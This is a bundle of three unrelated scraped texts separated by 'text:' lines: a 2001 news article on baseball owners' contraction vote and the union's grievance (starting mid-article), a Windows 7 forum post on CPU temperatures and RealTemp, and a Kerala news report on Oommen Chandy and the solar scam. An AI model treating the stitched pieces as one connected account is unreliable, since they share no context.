Owners voted Tuesday -- exactly 100 days before the start of spring training -- to eliminate two teams before next season. While no teams were chosen, Montreal and Minnesota are the leading candidates, with Florida, Oakland and Tampa Bay also possibilities.
If the Expos and Twins are eliminated, Montreal outfielder Vladimir Guerrero would be the likely first pick, going either to Pittsburgh or Tampa Bay, which both went 62-100. Twins shortstop Cristian Guzman and pitchers Eric Milton and Brad Radke would be other top picks, along with Montreal pitcher Javier Vazquez.
Coonelly and Rob Manfred, the owners' top labor lawyer, did not return telephone calls seeking comment.
Gene Orza, the union's No. 2 official, said Friday that management negotiators previously informed the players' association that it was too late in the year to eliminate teams.
''What we were told in late September was that it was not possible to do it 2002,'' Orza said. ''Our basic argument is that the basic agreement and its related agreements read as a whole cannot possibly be read to mean that on Nov. 7 you can announce that two teams aren't going to be playing anymore on Feb. 15. That's an inherently preposterous proposition.''
The union filed a grievance Wednesday arguing the move violated its labor contract, and it appears likely arbitrator Shyam Das will have to decide. Owners claim they have the unilateral right to fold franchises, but admit they must bargain over the aftereffects, such as dispersing players.
''We're going to meet on Monday to discuss the processing of the grievance,'' Orza said. ''Hopefully, we can get this on the fast track.''
The sides met Thursday, a day after the expiration of the labor contract signed in March 1997, and management lawyers outlined their ideas without going into specifics.
''We have to get a proposal on the effects,'' Orza said. ''Our effects bargaining is going to go on simultaneously with the processing of the grievance.''
Baseball commissioner Bud Selig says he intends to pick the two candidates for contraction by the end of this month. It's still unclear how long negotiations will take.
''You can't negotiate the number of hours in a day,'' Orza said.
In Washington, Rep. John Conyers Jr. again criticized baseball owners. Conyers, the ranking Democrat on the House Judiciary Committee, and Sen. Paul Wellstone, a Minnesota Democrat, intend introduce legislation next week to strip baseball of its antitrust exemption.
''I was shocked and amazed to learn that less than 48 hours after one of the greatest World Series in history, the owners decided to cut the heart out of the baseball fans of America by agreeing to the first franchise elimination in more than 100 years,'' Conyers said. ''I expect that our legislation will enjoy widespread support. Congress is not going to sit on their hands while a bunch of billionaires conspire with each other to cut jobs and threaten our cities and states.''
Rep. Earl Blumenauer, an Oregon Democrat, introduced legislation Thursday aimed at giving communities more of a say if owners try to eliminate or relocate teams. The ''Give Fans a Chance'' bill would require teams wanting to leave or fold to give at least 180 days notice prior to the start of the next season.
Citizens would have time to weigh in with public comment. The league would have to respond if a local group came up with an offer to buy the team.
Published in the Athens Banner-Herald on Saturday, November 10, 2001.
© 2017. All Rights Reserved. | Contact Us


text:
|26 Feb 2013
Windows 7 Pro. 64/SP-1
Might try installing RealTemp 3.70 as many of us trust it's reading. Then stress your system for several minutes. I have found that my particular water cooler needs about 5-10 minutes at least to show an increase in temps from 0% load to 100% load. Also, unless you are just testing and interested in the numbers, the idle temps don't mean much.....you just want your load temps in check.
Real Temp is a temperature monitoring program designed for all Intel single Core, Dual Core, Quad Core and Core i7 processors. Each core on these processors has a digital thermal sensor (DTS) that reports temperature data relative to TJMax which is the safe maximum operating core temperature for the CPU. As your CPU heats up, your Distance to TJMax will decrease. If it reaches zero, your processor will start to thermal throttle or slow down so maximizing your distance away from TJMax will help your computer run at full speed and
|My System Specs
|Thread Tools
|Similar help and support threads
Need help of my CPU Temp
hi, I want to know about my CPU Temp are normal or not.... when i browse internet through google chrome, my CPU Temp is nearly to 45 C.. When playing winamp along with browsing, Temp wud rise to 50 C... is this Temps are normal ???... I'm a little worried... plz help me... :confused:
|General Discussion
Help system temp high and CPU temp low?!
Hi! I have this problem with Asus p5q3 motherboard my system temp goes up to 60-70(celsius) and cpu (intel core 2 quad q9550) temp is low as 30-40(celsius). So how can system temp be that high?
|Performance & Maintenance
cpu temp
i have a intel core 2 duo 2.40ghz my idle temperature is 30 to 36 for the 4 processors and on 100 percent the max is 47 to 51 is that good
|Performance & Maintenance
bios temp / real temp
hello can someone please tell me why my bios temp is 31C. and after booting to windows 7 real temp says 42c.? i'm using a E8400 chip and asus motherboard (p5q pro turbo) . what should the tjmax in real temp be set to i have it at 95 now . thanks for your help scrooge
|PC Custom Builds and Overclocking
using all cpu meter with core temp, only one core temp showing
so i'm using the all cpu meter gadget to monitor my system. in the options tab theres a link to download the core temp application to also show your cpu core temperatures. the program says it should show temps for all cores, yet mine only shows 1 core temp out of 2. does anyone know how to get...
Are my drivers in my temp folder, or my %temp% folder?
Hi, my computer is old and has small hard drive space, and someone recommended I delete my %temp%, my temp, and my prefetch folder, but I was just wondering, since I had to do a whole lot of searching ,and downloading of drivers, (just to make my computer compatible with windows 7), where all my...
|Our Sites
|Site Links
|About Us
|Find Us
Windows 7 Forums is an independent web site and has not been authorized, sponsored, or otherwise approved by Microsoft Corporation. "Windows 7" and related materials are trademarks of Microsoft Corp.
© Designer Media Ltd
All times are GMT -5. The time now is 22:05.


text:
Thiruvananthapuram, March 21: Slamming the CPI(M) led LDF ahead of the May 16 assembly polls, Kerala Chief Minister Oommen Chandy, has said the opposition onslaught against him during the last five years was far worse than hitting an opponent "below the belt."
"To level horrible allegations, it is called hitting below the belt in English. But, the personal attack was so severe that it was far worse than hitting someone below the belt," Chandy, who was the epicentre of the opposition attack, said in an article here.
"Family is the greatest asset for all of us. Opposition tried to drag my family members in various allegations and weaken me," Chandy, apparently referring to the solar scam in which his family was also dragged.
"Had any other Chief Minister in the history of Kerala been hunted like this?," Chandy asked. Attacking the LDF, Chandy said opposition did not support the government on any matters, but only created "hurdles" for development and they have set a very bad precedent.
Referring to the solar scam that rocked the state since 2013, Chandy said the opposition had relied on the words of an accused undergoing life imprisonment for his wife's murder and another accused involved in 33 cheating cases.
They became contemptuous in front of the people of the state by going after charges levelled by criminals, he said. BJP in the state acted as 'B' team of LDF, Chandy said not sparing the saffron party also.
The solar scam pertains to cheating of huge sums allegedly by Saritha Nair along with her accomplice Biju Radhakrishnan by offering people solar panel solutions. Radhakrishnan is in prison on charges of murdering his wife, while Saritha is now out on bail.
The case shook the state's Congress-led UDF government after it took a political turn following the alleged link between three staff in Chief Minister's office and the accused. The opposition charge was that the scam had taken place with the knowledge of Chief Minister's office.